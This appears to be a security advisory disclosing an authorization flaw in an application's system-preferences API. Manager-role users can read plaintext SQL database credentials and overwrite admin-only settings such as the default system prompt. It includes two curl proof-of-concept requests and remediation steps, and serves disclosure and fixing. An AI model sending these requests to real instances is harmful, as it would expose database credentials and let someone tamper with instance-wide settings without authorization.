Summary

The two generic system-preferences endpoints allow manager role access, while every other surface that touches the same settings is restricted to admin only. Because of this inconsistency, a manager can call the generic endpoints directly to read plaintext SQL database credentials and overwrite admin-only global settings such as the default system prompt and the Community Hub API key.

Details

The authorization gap:

Read path — agent_sql_connections is in publicFields. The getter returns parsed connection details including username, password, host, port, database in plaintext.

Write path — updateSettings() checks supportedFields but does not enforce protectedFields. Both default_system_prompt and hub_api_key are in supportedFields, so a manager can overwrite them.

PoC

curl -i -sS \
  -H "Authorization: Bearer <manager-jwt>" \
  "<base-url>/api/admin/system-preferences-for?labels=agent_sql_connections"

{
  "settings": {
    "agent_sql_connections": [{
      "username": "db_admin",
      "password": "s3cretP@ssw0rd",
      "host": "internal-db.example.com",
      "port": "5432",
      "database": "production"
    }]
  }
}

curl -i -sS \
  -X POST "<base-url>/api/admin/system-preferences" \
  -H "Authorization: Bearer <manager-jwt>" \
  -H "Content-Type: application/json" \
  --data '{"default_system_prompt":"CANARY_MANAGER_BYPASS"}'

{"success":true,"error":null}

Impact

A manager can read plaintext SQL database credentials and modify global admin-only settings (default system prompt, Community Hub API key) that affect the entire instance.

Suggestion

1. Restrict both /admin/system-preferences-for and /admin/system-preferences to ROLES.admin only, matching the dedicated write routes and frontend gating.
2. Have updateSettings() reject keys present in protectedFields, not just accept keys in supportedFields, as defense-in-depth.
3. Remove agent_sql_connections from publicFields and serve it through a dedicated admin-only endpoint.